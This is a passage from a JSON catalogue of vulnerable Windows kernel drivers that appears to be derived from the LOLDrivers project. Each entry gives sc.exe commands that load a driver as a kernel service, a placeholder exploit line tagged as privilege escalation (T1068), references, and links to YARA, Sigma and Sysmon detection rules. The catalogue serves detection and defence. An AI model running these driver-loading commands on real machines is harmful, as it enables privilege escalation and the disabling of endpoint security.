        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create HwOs2Ec10x64.sys binPath=C:\\windows\\temp\\HwOs2Ec10x64.sys     type=kernel && sc.exe start HwOs2Ec10x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-hwos2ec10x64",
    "install": [
      {
        "method": "custom",
        "description": "Load HwOs2Ec10x64.sys kernel driver",
        "commands": [
          "sc.exe create HwOs2Ec10x64.sys binPath=C:\\windows\\temp\\HwOs2Ec10x64.sys     type=kernel && sc.exe start HwOs2Ec10x64.sys"
        ]
      }
    ],
    "name": "HwOs2Ec10x64.sys",
    "namespace": "windows:kernel:hwos2ec10x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HwOs2Ec7x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HwOs2Ec7x64.sys     type=kernel && sc.exe start HwOs2Ec7x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HwOs2Ec7x64.sys\"\n\n# HwOs2Ec7x64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwos2ec7x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create HwOs2Ec7x64.sys binPath=C:\\windows\\temp\\HwOs2Ec7x64.sys     type=kernel && sc.exe start HwOs2Ec7x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-hwos2ec7x64",
    "install": [
      {
        "method": "custom",
        "description": "Load HwOs2Ec7x64.sys kernel driver",
        "commands": [
          "sc.exe create HwOs2Ec7x64.sys binPath=C:\\windows\\temp\\HwOs2Ec7x64.sys     type=kernel && sc.exe start HwOs2Ec7x64.sys"
        ]
      }
    ],
    "name": "HwOs2Ec7x64.sys",
    "namespace": "windows:kernel:hwos2ec7x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HwRwDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HwRwDrv.sys type=kernel && sc.exe start HwRwDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HwRwDrv.sys\"\n\n# HwRwDrv.sys\n\nHardware read/write driver signed by a revoked Certum certificate (Open Source Developer, Jun Liu). Provides arbitrary physical memory read/write and PCI bus data access. Identified in ESET EDR killers research (March 2026) with 174 execution parents indicating widespread abuse by threat actors to disable EDR products.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-hwrwdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Hardware read/write driver signed by a revoked Certum certificate (Open Source Developer, Jun Liu). Provides arbitrary physical memory read/write and PCI bus data access. Identified in ESET EDR killers research (March 2026) with 174 execution parents indicating widespread abuse by threat actors to disable EDR products.",
    "execution": {
      "template": "sc.exe create HwRwDrv.sys binPath=C:\\windows\\temp\\HwRwDrv.sys type=kernel && sc.exe start HwRwDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-hwrwdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load HwRwDrv.sys kernel driver",
        "commands": [
          "sc.exe create HwRwDrv.sys binPath=C:\\windows\\temp\\HwRwDrv.sys type=kernel && sc.exe start HwRwDrv.sys"
        ]
      }
    ],
    "name": "HwRwDrv.sys",
    "namespace": "windows:kernel:hwrwdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/edr-killers-explained/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create idmtdi.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\idmtdi.sys type=kernel && sc.exe start idmtdi.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver idmtdi.sys\"\n\n# idmtdi.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-idmtdi.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create idmtdi.sys binPath=C:\\windows\\temp\\idmtdi.sys type=kernel && sc.exe start idmtdi.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-idmtdi",
    "install": [
      {
        "method": "custom",
        "description": "Load idmtdi.sys kernel driver",
        "commands": [
          "sc.exe create idmtdi.sys binPath=C:\\windows\\temp\\idmtdi.sys type=kernel && sc.exe start idmtdi.sys"
        ]
      }
    ],
    "name": "idmtdi.sys",
    "namespace": "windows:kernel:idmtdi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ImmunetUtilDriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ImmunetUtilDriver.sys type=kernel && sc.exe start ImmunetUtilDriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ImmunetUtilDriver.sys\"\n\n# ImmunetUtilDriver.sys\n\nImmunetUtilDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-immunetutildriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ImmunetUtilDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create ImmunetUtilDriver binPath=C:\\windows\\temp\\ImmunetUtilDriver.sys type=kernel && sc.exe start ImmunetUtilDriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-immunetutildriver",
    "install": [
      {
        "method": "custom",
        "description": "Load ImmunetUtilDriver.sys kernel driver",
        "commands": [
          "sc.exe create ImmunetUtilDriver binPath=C:\\windows\\temp\\ImmunetUtilDriver.sys type=kernel && sc.exe start ImmunetUtilDriver"
        ]
      }
    ],
    "name": "ImmunetUtilDriver.sys",
    "namespace": "windows:kernel:immunetutildriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create inetcache binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\inetcache.sys type=kernel && sc.exe start inetcache\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver inetcache.sys\"\n\n# inetcache.sys\n\ninetcache.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-inetcache.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "inetcache.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create inetcache binPath=C:\\windows\\temp\\inetcache.sys type=kernel && sc.exe start inetcache",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-inetcache",
    "install": [
      {
        "method": "custom",
        "description": "Load inetcache.sys kernel driver",
        "commands": [
          "sc.exe create inetcache binPath=C:\\windows\\temp\\inetcache.sys type=kernel && sc.exe start inetcache"
        ]
      }
    ],
    "name": "inetcache.sys",
    "namespace": "windows:kernel:inetcache",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create inpout32.sys binPath=C:\\\\windows\\\\temp\\\\inpout32.sys type=kernel && sc.exe start inpout32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver inpout32.sys\"\n\n# inpout32.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-inpout32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-inpout32",
    "name": "inpout32.sys",
    "namespace": "windows:kernel:inpout32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create inpoutx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\inpoutx64.sys type=kernel && sc.exe start inpoutx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver inpoutx64.sys\"\n\n# inpoutx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-inpoutx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create inpoutx64.sys binPath=C:\\windows\\temp\\inpoutx64.sys type=kernel && sc.exe start inpoutx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-inpoutx64",
    "install": [
      {
        "method": "custom",
        "description": "Load inpoutx64.sys kernel driver",
        "commands": [
          "sc.exe create inpoutx64.sys binPath=C:\\windows\\temp\\inpoutx64.sys type=kernel && sc.exe start inpoutx64.sys"
        ]
      }
    ],
    "name": "inpoutx64.sys",
    "namespace": "windows:kernel:inpoutx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create IoAccesssys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\IoAccesssys.sys type=kernel && sc.exe start IoAccesssys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver IoAccess.sys\"\n\n# IoAccess.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ioaccess.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create IoAccesssys binPath= C:\\windows\\temp\\IoAccesssys.sys type=kernel && sc.exe start IoAccesssys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ioaccess",
    "install": [
      {
        "method": "custom",
        "description": "Load IoAccess.sys kernel driver",
        "commands": [
          "sc.exe create IoAccesssys binPath= C:\\windows\\temp\\IoAccesssys.sys type=kernel && sc.exe start IoAccesssys"
        ]
      }
    ],
    "name": "IoAccess.sys",
    "namespace": "windows:kernel:ioaccess",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iobios64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iobios64.sys type=kernel && sc.exe start iobios64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iobios64.sys\"\n\n# iobios64.sys\n\niobios64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iobios64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "iobios64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create iobios64 binPath=C:\\windows\\temp\\iobios64.sys type=kernel && sc.exe start iobios64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-iobios64",
    "install": [
      {
        "method": "custom",
        "description": "Load iobios64.sys kernel driver",
        "commands": [
          "sc.exe create iobios64 binPath=C:\\windows\\temp\\iobios64.sys type=kernel && sc.exe start iobios64"
        ]
      }
    ],
    "name": "iobios64.sys",
    "namespace": "windows:kernel:iobios64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iobitunlocker.sys binPath=C:\\\\windows\\\\temp\\\\iobitunlocker.sys type=kernel && sc.exe start iobitunlocker.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iobitunlocker.sys\"\n\n# iobitunlocker.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iobitunlocker.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-iobitunlocker",
    "name": "iobitunlocker.sys",
    "namespace": "windows:kernel:iobitunlocker",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iOCdrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iOCdrv.sys type=kernel && sc.exe start iOCdrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iOCdrv.sys\"\n\n# iOCdrv.sys\n\niOCdrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iocdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "iOCdrv.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create iOCdrv binPath=C:\\windows\\temp\\iOCdrv.sys type=kernel && sc.exe start iOCdrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-iocdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load iOCdrv.sys kernel driver",
        "commands": [
          "sc.exe create iOCdrv binPath=C:\\windows\\temp\\iOCdrv.sys type=kernel && sc.exe start iOCdrv"
        ]
      }
    ],
    "name": "iOCdrv.sys",
    "namespace": "windows:kernel:iocdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create IoManager binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\IoManager.sys type=kernel && sc.exe start IoManager\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver IoManager.sys\"\n\n# IoManager.sys\n\nIoManager.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iomanager.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "IoManager.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create IoManager binPath=C:\\windows\\temp\\IoManager.sys type=kernel && sc.exe start IoManager",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-iomanager",
    "install": [
      {
        "method": "custom",
        "description": "Load IoManager.sys kernel driver",
        "commands": [
          "sc.exe create IoManager binPath=C:\\windows\\temp\\IoManager.sys type=kernel && sc.exe start IoManager"
        ]
      }
    ],
    "name": "IoManager.sys",
    "namespace": "windows:kernel:iomanager",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create IOMap64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\IOMap64.sys type=kernel && sc.exe start IOMap64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver IOMap64.sys\"\n\n# IOMap64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iomap64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
